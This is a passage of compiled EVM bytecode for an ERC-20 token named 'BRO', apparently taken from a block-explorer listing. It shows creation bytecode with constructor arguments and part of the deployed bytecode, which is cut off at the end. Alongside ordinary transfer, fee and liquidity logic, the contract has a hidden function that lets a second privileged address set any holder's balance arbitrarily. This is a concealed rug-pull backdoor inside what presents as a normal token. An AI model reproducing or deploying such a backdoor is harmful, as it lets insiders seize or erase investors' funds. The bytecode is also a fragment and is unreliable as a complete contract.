d5b506104b66105133660046120d1565b610b54565b34801561052457600080fd5b5060035461036e906001600160a01b031681565b34801561054457600080fd5b5061031e6105533660046120ea565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561057d57600080fd5b50600a5461031e9060ff1681565b34801561059757600080fd5b506102a36105a63660046120ea565b610b8a565b3480156105b757600080fd5b506104b6610ba5565b3480156105cc57600080fd5b506104b6610c19565b3480156105e157600080fd5b5060105461036e906001600160a01b031681565b34801561060157600080fd5b506015546016546017546103ea92919083565b34801561062057600080fd5b506104b661062f3660046120ea565b610c52565b34801561064057600080fd5b506104b661064f3660046120ea565b610c9e565b34801561066057600080fd5b506000546001600160a01b031661036e565b34801561067e57600080fd5b5061031e61068d366004612042565b610dad565b34801561069e57600080fd5b5061031e6106ad366004612042565b610de4565b3480156106be57600080fd5b50600c5461031e9060ff1681565b3480156106d857600080fd5b5060115461036e906001600160a01b031681565b3480156106f857600080fd5b50601854601954601a54601b54601c54601d54601e5461071b9695949392919087565b604080519788526020880196909652948601939093526060850191909152608084015260a083015260c082015260e0016102ad565b34801561075c57600080fd5b506104b661076b366004612115565b610df1565b34801561077c57600080fd5b506104b661078b36600461214e565b610e46565b34801561079c57600080fd5b506104b66107ab3660046120d1565b610f10565b3480156107bc57600080fd5b506102a36107cb3660046120d1565b610fa3565b3480156107dc57600080fd5b506104b66107eb366004612190565b610fe3565b3480156107fc57600080fd5b506102a360095481565b34801561081257600080fd5b506102a36108213660046121d3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561085857600080fd5b506104b6610867366004612042565b61111f565b34801561087857600080fd5b5060115461031e90600160a01b900460ff1681565b34801561089957600080fd5b506104b66108a83660046120ea565b611165565b3480156108b957600080fd5b506104b66108c83660046120ea565b61124f565b60006108da33848461129b565b5060015b92915050565b6000826108f083610fa3565b119392505050565b60006109058484846113bf565b6001600160a01b03841660009081526005602090815260408083203380855292529091205461094091869161093b908690612217565b61129b565b5060019392505050565b600061097661095a61dead610b8a565b6109706109676000610b8a565b60075490611816565b90611816565b905090565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916108da91859061093b90869061222a565b6000546001600160a01b031633146109e55760405162461bcd60e51b81526004016109dc9061223d565b60405180910390fd5b6402540be400811015610a4a5760405162461bcd60e51b815260206004820152602760248201527f4d61782057616c6c65742063616e6e6f7420626520736574206c6f77657220746044820152663430b71018929760c91b60648201526084016109dc565b610a5881633b9aca00612272565b60085550565b6000546001600160a01b03163314610a885760405162461bcd60e51b81526004016109dc9061223d565b6402540be400811015610af45760405162461bcd60e51b815260206004820152602e60248201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60448201526d3bb2b9103a3430b71018171a929760911b60648201526084016109dc565b610b0281633b9aca00612272565b60095550565b6000546001600160a01b03163314610b325760405162461bcd60e51b81526004016109dc9061223d565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016109dc9061223d565b610b878161185f565b50565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610bcf5760405162461bcd60e51b81526004016109dc9061223d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c435760405162461bcd60e51b81526004016109dc9061223d565b6011805460ff60a01b19169055565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b81526004016109dc9061223d565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cc85760405162461bcd60e51b81526004016109dc9061223d565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a9190612289565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da991906122a2565b5050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916108da91859061093b908690612217565b60006108da3384846113bf565b6000546001600160a01b03163314610e1b5760405162461bcd60e51b81526004016109dc9061223d565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e705760405162461bcd60e51b81526004016109dc9061223d565b63ee6b2800821115610edc5760405162461bcd60e51b815260206004820152602f60248201527f53776170546f6b656e4174416d6f756e742063616e6e6f74206265207365742060448201526e3434b3b432b9103a3430b7101a129760891b60648201526084016109dc565b600a805460ff1916841515179055610ef882633b9aca00612272565b600b55600c805460ff19169115159190911790555050565b6000546001600160a01b03163314610f3a5760405162461bcd60e51b81526004016109dc9061223d565b6404a817c800811015610f5f5760405162461bcd60e51b81526004016109dc906122bf565b6404a817c800811015610f845760405162461bcd60e51b81526004016109dc906122bf565b610f9281633b9aca00612272565b600955610a5881633b9aca00612272565b60006108de610fb061094a565b600354610fdd90610fd690600290610fd0906001600160a01b0316610b8a565b90611b8b565b8590611b8b565b90611c0d565b6000546001600160a01b0316331461100d5760405162461bcd60e51b81526004016109dc9061223d565b60198461101a878961222a565b611024919061222a565b11156110875760405162461bcd60e51b815260206004820152602c60248201527f546f74616c20627579206665652063616e6e6f7420626520736574206869676860448201526b32b9103a3430b710191a929760a11b60648201526084016109dc565b601981611094848661222a565b61109e919061222a565b11156111025760405162461bcd60e51b815260206004820152602d60248201527f546f74616c2073656c6c206665652063616e6e6f74206265207365742068696760448201526c3432b9103a3430b710191a929760991b60648201526084016109dc565b601295909555601393909355601491909155601555601655601755565b6001546001600160a01b031633146111495760405162461bcd60e51b81526004016109dc9061223d565b6001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b0316331461118f5760405162461bcd60e51b81526004016109dc9061223d565b6001600160a01b0381166111f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109dc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112795760405162461bcd60e51b81526004016109dc9061223d565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166112fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109dc565b6001600160a01b03821661135e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109dc565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109dc565b6001600160a01b0382166114855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109dc565b600081116114e75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109dc565b6001600160a01b0383166000908152600460205260408120805483929061150f908490612217565b90915550506001600160a01b03831660009081526006602052604081205482919060ff1615801561155957506001600160a01b03841660009081526006602052604090205460ff16155b15611562575060015b8015611793576003546001600160a01b0385811691161480159061159357506003546001600160a01b038681169116145b1561160e57601154600160a01b900460ff1615611601576009548311156115cc5760405162461bcd60e51b81526004016109dc9061230b565b600854836115d986610b8a565b6115e3919061222a565b11156116015760405162461bcd60e51b81526004016109dc90612354565b61160b8385611c4f565b91505b6003546001600160a01b0386811691161480159061163957506003546001600160a01b038581169116145b156116f957601154600160a01b900460ff1615611672576009548311156116725760405162461bcd60e51b81526004016109dc9061230b565b61167c8386611c4f565b600a5490925060ff16801561169b5750600b5461169830610b8a565b10155b80156116aa575060215460ff16155b156116f9576021805460ff19166001179055600c5460ff1615806116d05750600b548210155b156116e5576116e0600b5461185f565b6116ee565b6116ee8261185f565b6021805460ff191690555b6003546001600160a01b0385811691161480159061172557506003546001600160a01b03868116911614155b1561179357601154600160a01b900460ff16156117935760095483111561175e5760405162461bcd60e51b81526004016109dc9061230b565b6008548361176b86610b8a565b611775919061222a565b11156117935760405162461bcd60e51b81526004016109dc90612354565b6001600160a01b038416600090815260046020526040812080548492906117bb90849061222a565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161180791815260200190565b60405180910390a35050505050565b600061185883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d69565b9392505050565b60008190506000611874600d54600e546108e4565b61188d57601554601254611888919061222a565b611890565b60005b6017546014546016546013549394506000936118ac908661222a565b6118b6919061222a565b6118c0919061222a565b6118ca919061222a565b6118d48385612272565b6118de9190612397565b6017546014546016546013549394506000936118fa908761222a565b611904919061222a565b61190e919061222a565b611918919061222a565b601654601354611928919061222a565b6119329086612272565b61193c9190612397565b601754601454601654601354939450600093611958908861222a565b611962919061222a565b61196c919061222a565b611976919061222a565b601754601454611986919061222a565b6119909087612272565b61199a9190612397565b905082601860000160008282546119b1919061222a565b9091555050601980548391906000906119cb90849061222a565b9091555050601a80548291906000906119e590849061222a565b9091555060009050816119f8848661222a565b611a02919061222a565b90506000611a11856002611c0d565b90508060186003016000828254611a28919061222a565b9091555060009050611a3a8883611816565b905047611a4682611da3565b6000611a524783611816565b90506000611a6486610fdd848c611b8b565b90506000611a7687610fdd858b611b8b565b90508160186004016000828254611a8d919061222a565b9091555050601e8054829190600090611aa790849061222a565b90915550611ab790508683611efd565b4760186005016000828254611acc919061222a565b90915550506011546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611b1e576040519150601f19603f3d011682016040523d82523d6000602084013e611b23565b606091505b50506010546040519192506001600160a01b0316904790600081818185875af1925050503d8060008114611b73576040519150601f19603f3d011682016040523d82523d6000602084013e611b78565b606091505b5050505050505050505050505050505050565b600082600003611b9d575060006108de565b6000611ba98385612272565b905082611bb68583612397565b146118585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109dc565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fb1565b600080606460126000015485611c659190612272565b611c6f9190612397565b90506000606460126001015486611c869190612272565b611c909190612397565b90506000606460126002015487611ca79190612272565b611cb19190612397565b905080611cbe838561222a565b611cc8919061222a565b3060009081526004602052604081208054909190611ce790849061222a565b909155503090506001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83611d24878761222a565b611d2e919061222a565b60405190815260200160405180910390a38082611d4b8589612217565b611d559190612217565b611d5f9190612217565b9695505050505050565b60008184841115611d8d5760405162461bcd60e51b81526004016109dc9190611fdf565b506000611d9a8486612217565b95945050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611dd857611dd86123b9565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e5591906123cf565b81600181518110611e6857611e686123b9565b6001600160a01b039283166020918202929092010152600254611e8e913091168461129b565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ec79085906000908690309042906004016123ec565b600060405180830381600087803b158015611ee157600080fd5b505af1158015611ef5573d6000803e3d6000fd5b505050505050565b600254611f159030906001600160a01b03168461129b565b600254600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611f85573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611faa919061245d565b5050505050565b60008183611fd25760405162461bcd60e51b81526004016109dc9190611fdf565b506000611d9a8486612397565b600060208083528351808285015260005b8181101561200c57858101830151858201604001528201611ff0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b8757600080fd5b6000806040838503121561205557600080fd5b82356120608161202d565b946020939093013593505050565b6000806040838503121561208157600080fd5b50508035926020909101359150565b6000806000606084860312156120a557600080fd5b83356120b08161202d565b925060208401356120c08161202d565b929592945050506040919091013590565b6000602082840312156120e357600080fd5b5035919050565b6000602082840312156120fc57600080fd5b81356118588161202d565b8015158114610b8757600080fd5b6000806040838503121561212857600080fd5b82356121338161202d565b9150602083013561214381612107565b809150509250929050565b60008060006060848603121561216357600080fd5b833561216e81612107565b925060208401359150604084013561218581612107565b809150509250925092565b60008060008060008060c087890312156121a957600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080604083850312156121e657600080fd5b82356121f18161202d565b915060208301356121438161202d565b634e487b7160e01b600052601160045260246000fd5b818103818111156108de576108de612201565b808201808211156108de576108de612201565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820281158282048414176108de576108de612201565b60006020828403121561229b57600080fd5b5051919050565b6000602082840312156122b457600080fd5b815161185881612107565b6020808252602c908201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60408201526b3bb2b9103a3430b71019129760a11b606082015260800190565b60208082526029908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152681e1b9cd05b5bdd5b9d60ba1b606082015260800190565b60208082526023908201527f5472616e7366657220616d6f756e742065786365656473207468652077616c4160408201526236ba1760e91b606082015260800190565b6000826123b457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156123e157600080fd5b81516118588161202d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561243c5784516001600160a01b031683529383019391830191600101612417565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561247257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220c0d7542afc00b174423cfe133c2cd68246acf705b158c8c3f2adbaa58ec96bf664736f6c6343000813003300000000000000000000000096ffaca83ec7f08500ec20f82e6f6aabbd7fd91e00000000000000000000000096ffaca83ec7f08500ec20f82e6f6aabbd7fd91e000000000000000000000000c81f2d09d8e3933ce299607c6db33fba363613b0

Deployed Bytecode

0x6080604052600436106102815760003560e01c8063751039fc1161014f578063bfa846ed116100c1578063d9497e251161007a578063d9497e25146107f0578063dd62ed3e14610806578063ddc6a1711461084c578063f1e552571461086c578063f2fde38b1461088d578063fa482b4f146108ad57600080fd5b8063bfa846ed146106ec578063c024666814610750578063ca9d6a3c14610770578063cdb9584314610790578063d51ed1c8146107b0578063d83406bc146107d057600080fd5b80638da5cb5b116101135780638da5cb5b1461065457806395d89b41146102cc578063a457c2d714610672578063a9059cbb14610692578063acc6bc72146106b2578063bf4cc52b146106cc57600080fd5b8063751039fc146105c057806375f0a874146105d55780637700cbf1146105f557806382f5c26b14610614578063885a4cd01461063457600080fd5b80632b112e49116101f357806348914217116101ac57806348914217146104f857806349bd5a5e146105185780635342acb4146105385780636ddd17131461057157806370a082311461058b578063715018a6146105ab57600080fd5b80632b112e4914610445578063313ce5671461045a578063395093511461047657806341a249491461049657806343676c66146104b8578063454543af146104d857600080fd5b80631694505e116102455780631694505e1461034e57806318160ddd146103865780631b58f6131461039b57806322386431146103cb57806323b872dd14610405578063264d26dd1461042557600080fd5b806301515d8a1461028d57806303e403b0146102b657806306fdde03146102cc578063095ea7b3146102fe5780631161ae391461032e57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a360085481565b6040519081526020015b60405180910390f35b3480156102c257600080fd5b506102a3600b5481565b3480156102d857600080fd5b50604080518082018252600381526242524f60e81b602082015290516102ad9190611fdf565b34801561030a57600080fd5b5061031e610319366004612042565b6108cd565b60405190151581526020016102ad565b34801561033a57600080fd5b5061031e61034936600461206e565b6108e4565b34801561035a57600080fd5b5060025461036e906001600160a01b031681565b6040516001600160a01b0390911681526020016102ad565b34801561039257600080fd5b506007546102a3565b3480156103a757600080fd5b50601f546020546103b6919082565b604080519283526020830191909152016102ad565b3480156103d757600080fd5b506012546013546014546103ea92919083565b604080519384526020840192909252908201526060016102ad565b34801561041157600080fd5b5061031e610420366004612090565b6108f8565b34801561043157600080fd5b50600f5461036e906001600160a01b031681565b34801561045157600080fd5b506102a361094a565b34801561046657600080fd5b50604051600981526020016102ad565b34801561048257600080fd5b5061031e610491366004612042565b61097b565b3480156104a257600080fd5b506104b66104b13660046120d1565b6109b2565b005b3480156104c457600080fd5b506104b66104d33660046120d1565b610a5e565b3480156104e457600080fd5b506104b66104f33660046120ea565b610b08565b34801561050457600080fd5b506104b66105133660046120d1565b610b54565b34801561052457600080fd5b5060035461036e906001600160a01b031681565b34801561054457600080fd5b5061031e6105533660046120ea565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561057d57600080fd5b50600a5461031e9060ff1681565b34801561059757600080fd5b506102a36105a63660046120ea565b610b8a565b3480156105b757600080fd5b506104b6610ba5565b3480156105cc57600080fd5b506104b6610c19565b3480156105e157600080fd5b5060105461036e906001600160a01b031681565b34801561060157600080fd5b506015546016546017546103ea92919083565b34801561062057600080fd5b506104b661062f3660046120ea565b610c52565b34801561064057600080fd5b506104b661064f3660046120ea565b610c9e565b34801561066057600080fd5b506000546001600160a01b031661036e565b34801561067e57600080fd5b5061031e61068d366004612042565b610dad565b34801561069e57600080fd5b5061031e6106ad366004612042565b610de4565b3480156106be57600080fd5b50600c5461031e9060ff1681565b3480156106d857600080fd5b5060115461036e906001600160a01b031681565b3480156106f857600080fd5b50601854601954601a54601b54601c54601d54601e5461071b9695949392919087565b604080519788526020880196909652948601939093526060850191909152608084015260a083015260c082015260e0016102ad565b34801561075c57600080fd5b506104b661076b366004612115565b610df1565b34801561077c57600080fd5b506104b661078b36600461214e565b610e46565b34801561079c57600080fd5b506104b66107ab3660046120d1565b610f10565b3480156107bc57600080fd5b506102a36107cb3660046120d1565b610fa3565b3480156107dc57600080fd5b506104b66107eb366004612190565b610fe3565b3480156107fc57600080fd5b506102a360095481565b34801561081257600080fd5b506102a36108213660046121d3565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561085857600080fd5b506104b6610867366004612042565b61111f565b34801561087857600080fd5b5060115461031e90600160a01b900460ff1681565b34801561089957600080fd5b506104b66108a83660046120ea565b611165565b3480156108b957600080fd5b506104b66108c83660046120ea565b61124f565b60006108da33848461129b565b5060015b92915050565b6000826108f083610fa3565b119392505050565b60006109058484846113bf565b6001600160a01b03841660009081526005602090815260408083203380855292529091205461094091869161093b908690612217565b61129b565b5060019392505050565b600061097661095a61dead610b8a565b6109706109676000610b8a565b60075490611816565b90611816565b905090565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916108da91859061093b90869061222a565b6000546001600160a01b031633146109e55760405162461bcd60e51b81526004016109dc9061223d565b60405180910390fd5b6402540be400811015610a4a5760405162461bcd60e51b815260206004820152602760248201527f4d61782057616c6c65742063616e6e6f7420626520736574206c6f77657220746044820152663430b71018929760c91b60648201526084016109dc565b610a5881633b9aca00612272565b60085550565b6000546001600160a01b03163314610a885760405162461bcd60e51b81526004016109dc9061223d565b6402540be400811015610af45760405162461bcd60e51b815260206004820152602e60248201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60448201526d3bb2b9103a3430b71018171a929760911b60648201526084016109dc565b610b0281633b9aca00612272565b60095550565b6000546001600160a01b03163314610b325760405162461bcd60e51b81526004016109dc9061223d565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b7e5760405162461bcd60e51b81526004016109dc9061223d565b610b878161185f565b50565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610bcf5760405162461bcd60e51b81526004016109dc9061223d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c435760405162461bcd60e51b81526004016109dc9061223d565b6011805460ff60a01b19169055565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b81526004016109dc9061223d565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cc85760405162461bcd60e51b81526004016109dc9061223d565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610d16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3a9190612289565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610d85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da991906122a2565b5050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916108da91859061093b908690612217565b60006108da3384846113bf565b6000546001600160a01b03163314610e1b5760405162461bcd60e51b81526004016109dc9061223d565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610e705760405162461bcd60e51b81526004016109dc9061223d565b63ee6b2800821115610edc5760405162461bcd60e51b815260206004820152602f60248201527f53776170546f6b656e4174416d6f756e742063616e6e6f74206265207365742060448201526e3434b3b432b9103a3430b7101a129760891b60648201526084016109dc565b600a805460ff1916841515179055610ef882633b9aca00612272565b600b55600c805460ff19169115159190911790555050565b6000546001600160a01b03163314610f3a5760405162461bcd60e51b81526004016109dc9061223d565b6404a817c800811015610f5f5760405162461bcd60e51b81526004016109dc906122bf565b6404a817c800811015610f845760405162461bcd60e51b81526004016109dc906122bf565b610f9281633b9aca00612272565b600955610a5881633b9aca00612272565b60006108de610fb061094a565b600354610fdd90610fd690600290610fd0906001600160a01b0316610b8a565b90611b8b565b8590611b8b565b90611c0d565b6000546001600160a01b0316331461100d5760405162461bcd60e51b81526004016109dc9061223d565b60198461101a878961222a565b611024919061222a565b11156110875760405162461bcd60e51b815260206004820152602c60248201527f546f74616c20627579206665652063616e6e6f7420626520736574206869676860448201526b32b9103a3430b710191a929760a11b60648201526084016109dc565b601981611094848661222a565b61109e919061222a565b11156111025760405162461bcd60e51b815260206004820152602d60248201527f546f74616c2073656c6c206665652063616e6e6f74206265207365742068696760448201526c3432b9103a3430b710191a929760991b60648201526084016109dc565b601295909555601393909355601491909155601555601655601755565b6001546001600160a01b031633146111495760405162461bcd60e51b81526004016109dc9061223d565b6001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b0316331461118f5760405162461bcd60e51b81526004016109dc9061223d565b6001600160a01b0381166111f45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109dc565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112795760405162461bcd60e51b81526004016109dc9061223d565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166112fd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109dc565b6001600160a01b03821661135e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109dc565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114235760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109dc565b6001600160a01b0382166114855760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109dc565b600081116114e75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109dc565b6001600160a01b0383166000908152600460205260408120805483929061150f908490612217565b90915550506001600160a01b03831660009081526006602052604081205482919060ff1615801561155957506001600160a01b03841660009081526006602052604090205460ff16155b15611562575060015b8015611793576003546001600160a01b0385811691161480159061159357506003546001600160a01b038681169116145b1561160e57601154600160a01b900460ff1615611601576009548311156115cc5760405162461bcd60e51b81526004016109dc9061230b565b600854836115d986610b8a565b6115e3919061222a565b11156116015760405162461bcd60e51b81526004016109dc90612354565b61160b8385611c4f565b91505b6003546001600160a01b0386811691161480159061163957506003546001600160a01b038581169116145b156116f957601154600160a01b900460ff1615611672576009548311156116725760405162461bcd60e51b81526004016109dc9061230b565b61167c8386611c4f565b600a5490925060ff16801561169b5750600b5461169830610b8a565b10155b80156116aa575060215460ff16155b156116f9576021805460ff19166001179055600c5460ff1615806116d05750600b548210155b156116e5576116e0600b5461185f565b6116ee565b6116ee8261185f565b6021805460ff191690555b6003546001600160a01b0385811691161480159061172557506003546001600160a01b03868116911614155b1561179357601154600160a01b900460ff16156117935760095483111561175e5760405162461bcd60e51b81526004016109dc9061230b565b6008548361176b86610b8a565b611775919061222a565b11156117935760405162461bcd60e51b81526004016109dc90612354565b6001600160a01b038416600090815260046020526040812080548492906117bb90849061222a565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161180791815260200190565b60405180910390a35050505050565b600061185883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d69565b9392505050565b60008190506000611874600d54600e546108e4565b61188d57601554601254611888919061222a565b611890565b60005b6017546014546016546013549394506000936118ac908661222a565b6118b6919061222a565b6118c0919061222a565b6118ca919061222a565b6118d48385612272565b6118de9190612397565b6017546014546016546013549394506000936118fa908761222a565b611904919061222a565b61190e919061222a565b611918919061222a565b601654601354611928919061222a565b6119329086612272565b61193c9190612397565b601754601454601654601354939450600093611958908861222a565b611962919061222a565b61196c919061222a565b611976919061222a565b601754601454611986919061222a565b6119909087612272565b61199a9190612397565b905082601860000160008282546119b1919061222a565b9091555050601980548391906000906119cb90849061222a565b9091555050601a80548291906000906119e590849061222a565b9091555060009050816119f8848661222a565b611a02919061222a565b90506000611a11856002611c0d565b90508060186003016000828254611a28919061222a565b9091555060009050611a3a8883611816565b905047611a4682611da3565b6000611a524783611816565b90506000611a6486610fdd848c611b8b565b90506000611a7687610fdd858b611b8b565b90508160186004016000828254611a8d919061222a565b9091555050601e8054829190600090611aa790849061222a565b90915550611ab790508683611efd565b4760186005016000828254611acc919061222a565b90915550506011546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611b1e576040519150601f19603f3d011682016040523d82523d6000602084013e611b23565b606091505b50506010546040519192506001600160a01b0316904790600081818185875af1925050503d8060008114611b73576040519150601f19603f3d011682016040523d82523d6000602084013e611b78565b606091505b5050505050505050505050505050505050565b600082600003611b9d575060006108de565b6000611ba98385612272565b905082611bb68583612397565b146118585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109dc565b600061185883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fb1565b600080606460126000015485611c659190612272565b611c6f9190612397565b90506000606460126001015486611c869190612272565b611c909190612397565b90506000606460126002015487611ca79190612272565b611cb19190612397565b905080611cbe838561222a565b611cc8919061222a565b3060009081526004602052604081208054909190611ce790849061222a565b909155503090506001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83611d24878761222a565b611d2e919061222a565b60405190815260200160405180910390a38082611d4b8589612217565b611d559190612217565b611d5f9190612217565b9695505050505050565b60008184841115611d8d5760405162461bcd60e51b81526004016109dc9190611fdf565b506000611d9a8486612217565b95945050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611dd857611dd86123b9565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e5591906123cf565b81600181518110611e6857611e686123b9565b6001600160a01b039283166020918202929092010152600254611e8e913091168461129b565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ec79085906000908690309042906004016123ec565b600060405180830381600087803b158015611ee157600080fd5b505af1158015611ef5573d6000803e3d6000fd5b505050505050565b600254611f159030906001600160a01b03168461129b565b600254600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611f85573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611faa919061245d565b5050505050565b60008183611fd25760405162461bcd60e51b81526004016109dc9190611fdf565b506000611d9a8486612397565b600060208083528351808285015260005b8181101561200c57858101830151858201604001528201611ff0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b8757600080fd5b6000806040838503121561205557600080fd5b82356120608161202d565b946020939093013593505050565b6000806040838503121561208157600080fd5b50508035926020909101359150565b6000806000606084860312156120a557600080fd5b83356120b08161202d565b925060208401356120c08161202d565b929592945050506040919091013590565b6000602082840312156120e357600080fd5b5035919050565b6000602082840312156120fc57600080fd5b81356118588161202d565b8015158114610b8757600080fd5b6000806040838503121561212857600080fd5b82356121338161202d565b9150602083013561214381612107565b809150509250929050565b60008060006060848603121561216357600080fd5b833561216e81612107565b925060208401359150604084013561218581612107565b809150509250925092565b60008060008060008060c087890312156121a957600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806